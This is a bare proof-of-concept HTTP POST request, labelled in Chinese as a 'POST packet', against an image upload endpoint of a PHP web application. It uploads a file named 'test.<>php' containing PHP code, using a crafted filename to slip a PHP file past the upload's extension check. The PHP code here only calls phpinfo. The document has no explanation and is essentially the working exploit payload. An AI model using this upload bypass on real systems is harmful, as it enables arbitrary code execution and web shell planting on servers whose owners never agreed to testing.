POST数据包：
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POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 239
Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
Accept-Encoding: gzip
----------------------------835846770881083140190633
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php phpinfo();?>
----------------------------835846770881083140190633--
